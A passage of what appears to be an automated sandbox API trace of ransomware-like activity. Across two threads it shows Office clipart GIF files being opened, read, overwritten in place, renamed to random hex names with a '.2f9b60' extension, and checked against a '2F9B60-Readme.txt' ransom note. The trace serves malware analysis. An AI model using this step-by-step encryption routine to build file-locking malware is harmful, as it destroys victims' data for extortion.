office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17a0 [0116.183] GetFileSizeEx (in: hFile=0x17a0, lpFileSize=0x3a97fa40 | out: lpFileSize=0x3a97fa40*=908) returned 1 [0116.183] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.183] ReadFile (in: hFile=0x17a0, lpBuffer=0x3a97f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a97fa08, lpOverlapped=0x0 | out: lpBuffer=0x3a97f9c0*, lpNumberOfBytesRead=0x3a97fa08*=0x4, lpOverlapped=0x0) returned 1 [0116.218] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0116.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607a0 [0116.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0116.219] NtQuerySystemTime (in: CurrentTime=0x3a97f900 | out: CurrentTime=0x3a97f900*=132462177216718000) returned 0x0 [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x20637c14 [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x7f91fa10 [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x75d2dc81 [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x4cb42d7a [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x75b64ccc [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x3b288cd8 [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x64f7cf29 [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x747cd82f [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x117312d3 [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x1b14e7d8 [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x607a889a [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x392e995b [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x57c14a70 [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0xb8c28e5 [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x5767e262 [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x60816ca9 [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x742da70b [0116.219] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x6905563e [0116.220] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x66936ed3 [0116.220] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x2c8c768a [0116.220] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x65cfb31d [0116.220] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x5f6f27c1 [0116.220] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x51b95905 [0116.220] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x5de1c1d7 [0116.220] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x627037b7 [0116.220] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x58d2bfb7 [0116.220] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x1477edb2 [0116.220] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x101887 [0116.220] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x7b8c3cd6 [0116.220] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x5497e0ed [0116.220] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x4ead6b43 [0116.220] RtlRandomEx (in: Seed=0x3a97f8f0 | out: Seed=0x3a97f8f0) returned 0x5726188b [0116.233] ReadFile (in: hFile=0x17a0, lpBuffer=0x2017d170, nNumberOfBytesToRead=0x38c, lpNumberOfBytesRead=0x3a97f8f0, lpOverlapped=0x0 | out: lpBuffer=0x2017d170*, lpNumberOfBytesRead=0x3a97f8f0*=0x38c, lpOverlapped=0x0) returned 1 [0116.233] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.233] WriteFile (in: hFile=0x17a0, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x38c, lpNumberOfBytesWritten=0x3a97f8f4, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x3a97f8f4*=0x38c, lpOverlapped=0x0) returned 1 [0116.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262900 [0116.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628a0 [0116.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202628a0) returned 1 [0116.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0116.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2017d170) returned 1 [0116.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0116.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0116.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202628a0 [0116.641] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.641] WriteFile (in: hFile=0x17a0, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a97fa10, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3a97fa10*=0x10a, lpOverlapped=0x0) returned 1 [0117.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0117.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859f40 [0117.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859f40) returned 1 [0117.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0117.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859f40 [0117.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a90 [0117.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a90) returned 1 [0117.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0117.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0117.071] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="52") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="d0") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="9e") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="24") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="04") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="40") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="6c") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="a0") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="cc") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="cd") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="20") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="3b") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="3e") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="a7") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="77") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="9d") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="8f") returned 2 [0117.071] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="96") returned 2 [0117.072] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="fa") returned 2 [0117.072] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="63") returned 2 [0117.072] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="ac") returned 2 [0117.072] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="f7") returned 2 [0117.072] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="20") returned 2 [0117.072] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="0a") returned 2 [0117.072] RtlInitAnsiString (in: DestinationString=0x3a97fa88, SourceString="52d09e2404406ca0cccd203b3ea7779d8f96fa63acf7200a" | out: DestinationString="52d09e2404406ca0cccd203b3ea7779d8f96fa63acf7200a") [0117.072] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a97fa58, SourceString="52d09e2404406ca0cccd203b3ea7779d8f96fa63acf7200a", AllocateDestinationString=1 | out: DestinationString="52d09e2404406ca0cccd203b3ea7779d8f96fa63acf7200a") returned 0x0 [0117.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8d00 [0117.072] wcscat (in: _Dest=0x2050cbe0, _Source="52d09e240440" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\52d09e240440") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\52d09e240440" [0117.072] wcscat (in: _Dest=0x2050cbe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\52d09e240440.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\52d09e240440.2f9b60" [0117.072] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\52d09e240440.2f9b60", NtPathName=0x3a97fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\52d09e240440.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118e30 [0117.072] NtSetInformationFile (FileHandle=0x17a0, IoStatusBlock=0x3a97fad0, FileInformation=0x118e30, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118e30) returned 1 [0117.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291230) returned 1 [0117.653] NtQueryInformationFile (in: FileHandle=0x17a0, IoStatusBlock=0x3a97fa98, FileInformation=0x3a97faa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a97fa98, FileInformation=0x3a97faa8) returned 0x0 [0117.653] NtSetInformationFile (FileHandle=0x17a0, IoStatusBlock=0x3a97fa98, FileInformation=0x3a97faa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cbe0) returned 1 [0117.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d00) returned 1 [0117.656] FlushFileBuffers (hFile=0x17a0) returned 1 [0117.664] CloseHandle (hObject=0x17a0) returned 1 [0117.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050cbe0 [0117.666] wcscpy (in: _Dest=0x2050cbe0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.666] wcscat (in: _Dest=0x2050cbe0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cbe0) returned 1 [0117.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862bf0) returned 1 Thread: id = 1279 os_tid = 0xde0 [0115.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif")) returned 0x20 [0116.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF", dwFileAttributes=0x20) returned 1 [0116.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1790 [0116.165] GetFileSizeEx (in: hFile=0x1790, lpFileSize=0x3aa8f940 | out: lpFileSize=0x3aa8f940*=2439) returned 1 [0116.165] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x983, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.165] ReadFile (in: hFile=0x1790, lpBuffer=0x3aa8f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3aa8f908, lpOverlapped=0x0 | out: lpBuffer=0x3aa8f8c0*, lpNumberOfBytesRead=0x3aa8f908*=0x4, lpOverlapped=0x0) returned 1 [0116.185] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0116.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0116.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0116.185] NtQuerySystemTime (in: CurrentTime=0x3aa8f800 | out: CurrentTime=0x3aa8f800*=132462177216406000) returned 0x0 [0116.185] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x37fb7608 [0116.185] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x5d7d040c [0116.185] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x626b1d72 [0116.185] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x56d5c9cf [0116.185] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x332842ed [0116.185] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x243e96ac [0116.185] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x1d884785 [0116.185] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x10e59399 [0116.185] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x47c02cdd [0116.185] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x51fc1d9c [0116.185] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x49a234df [0116.185] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x6e7ef0f9 [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x2648622e [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x7ee02744 [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x597c7740 [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x359b83bd [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x17df6048 [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x4a5667d8 [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x4b977e5c [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x372c7ea1 [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x43a3e89b [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x5de1a5b6 [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x8d151ec [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x353f9d37 [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x11f4a0ea [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x49625fed [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x4f38cc65 [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x2db9739f [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x4ec0575b [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x77f33ee5 [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x5811c23e [0116.186] RtlRandomEx (in: Seed=0x3aa8f7f0 | out: Seed=0x3aa8f7f0) returned 0x3c038bb7 [0116.196] ReadFile (in: hFile=0x1790, lpBuffer=0x2016e130, nNumberOfBytesToRead=0x987, lpNumberOfBytesRead=0x3aa8f7f0, lpOverlapped=0x0 | out: lpBuffer=0x2016e130*, lpNumberOfBytesRead=0x3aa8f7f0*=0x987, lpOverlapped=0x0) returned 1 [0116.196] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.196] WriteFile (in: hFile=0x1790, lpBuffer=0x2018c1b0*, nNumberOfBytesToWrite=0x987, lpNumberOfBytesWritten=0x3aa8f7f4, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesWritten=0x3aa8f7f4*=0x987, lpOverlapped=0x0) returned 1 [0116.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0116.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0116.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260560) returned 1 [0116.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0116.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016e130) returned 1 [0116.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0116.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0116.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260560 [0116.235] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.235] WriteFile (in: hFile=0x1790, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3aa8f910, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3aa8f910*=0x10a, lpOverlapped=0x0) returned 1 [0116.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0116.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0116.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0116.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bc0) returned 1 [0116.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0116.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0116.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261970) returned 1 [0116.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0116.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0116.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8340 [0116.287] sprintf (in: _Dest=0x1b7d8340, _Format="%c%c" | out: _Dest="f7") returned 2 [0116.287] sprintf (in: _Dest=0x1b7d8342, _Format="%c%c" | out: _Dest="a8") returned 2 [0116.287] sprintf (in: _Dest=0x1b7d8344, _Format="%c%c" | out: _Dest="97") returned 2 [0116.287] sprintf (in: _Dest=0x1b7d8346, _Format="%c%c" | out: _Dest="f8") returned 2 [0116.287] sprintf (in: _Dest=0x1b7d8348, _Format="%c%c" | out: _Dest="19") returned 2 [0116.287] sprintf (in: _Dest=0x1b7d834a, _Format="%c%c" | out: _Dest="0c") returned 2 [0116.287] sprintf (in: _Dest=0x1b7d834c, _Format="%c%c" | out: _Dest="3b") returned 2 [0116.287] sprintf (in: _Dest=0x1b7d834e, _Format="%c%c" | out: _Dest="d6") returned 2 [0116.287] sprintf (in: _Dest=0x1b7d8350, _Format="%c%c" | out: _Dest="43") returned 2 [0116.287] sprintf (in: _Dest=0x1b7d8352, _Format="%c%c" | out: _Dest="9c") returned 2 [0116.287] sprintf (in: _Dest=0x1b7d8354, _Format="%c%c" | out: _Dest="29") returned 2 [0116.288] sprintf (in: _Dest=0x1b7d8356, _Format="%c%c" | out: _Dest="6d") returned 2 [0116.288] sprintf (in: _Dest=0x1b7d8358, _Format="%c%c" | out: _Dest="97") returned 2 [0116.288] sprintf (in: _Dest=0x1b7d835a, _Format="%c%c" | out: _Dest="f2") returned 2 [0116.288] sprintf (in: _Dest=0x1b7d835c, _Format="%c%c" | out: _Dest="62") returned 2 [0116.288] sprintf (in: _Dest=0x1b7d835e, _Format="%c%c" | out: _Dest="77") returned 2 [0116.288] sprintf (in: _Dest=0x1b7d8360, _Format="%c%c" | out: _Dest="a1") returned 2 [0116.288] sprintf (in: _Dest=0x1b7d8362, _Format="%c%c" | out: _Dest="44") returned 2 [0116.288] sprintf (in: _Dest=0x1b7d8364, _Format="%c%c" | out: _Dest="ef") returned 2 [0116.288] sprintf (in: _Dest=0x1b7d8366, _Format="%c%c" | out: _Dest="59") returned 2 [0116.288] sprintf (in: _Dest=0x1b7d8368, _Format="%c%c" | out: _Dest="0c") returned 2 [0116.288] sprintf (in: _Dest=0x1b7d836a, _Format="%c%c" | out: _Dest="d8") returned 2 [0116.288] sprintf (in: _Dest=0x1b7d836c, _Format="%c%c" | out: _Dest="9c") returned 2 [0116.288] sprintf (in: _Dest=0x1b7d836e, _Format="%c%c" | out: _Dest="ca") returned 2 [0116.288] RtlInitAnsiString (in: DestinationString=0x3aa8f988, SourceString="f7a897f8190c3bd6439c296d97f26277a144ef590cd89cca" | out: DestinationString="f7a897f8190c3bd6439c296d97f26277a144ef590cd89cca") [0116.288] RtlAnsiStringToUnicodeString (in: DestinationString=0x3aa8f958, SourceString="f7a897f8190c3bd6439c296d97f26277a144ef590cd89cca", AllocateDestinationString=1 | out: DestinationString="f7a897f8190c3bd6439c296d97f26277a144ef590cd89cca") returned 0x0 [0116.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9400 [0116.289] wcscat (in: _Dest=0x2050b8a0, _Source="f7a897f8190c" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f7a897f8190c") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f7a897f8190c" [0116.289] wcscat (in: _Dest=0x2050b8a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f7a897f8190c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f7a897f8190c.2f9b60" [0116.289] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f7a897f8190c.2f9b60", NtPathName=0x3aa8f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f7a897f8190c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118540 [0116.289] NtSetInformationFile (FileHandle=0x1790, IoStatusBlock=0x3aa8f9d0, FileInformation=0x118540, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118540) returned 1 [0117.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0117.570] NtQueryInformationFile (in: FileHandle=0x1790, IoStatusBlock=0x3aa8f998, FileInformation=0x3aa8f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3aa8f998, FileInformation=0x3aa8f9a8) returned 0x0 [0117.570] NtSetInformationFile (FileHandle=0x1790, 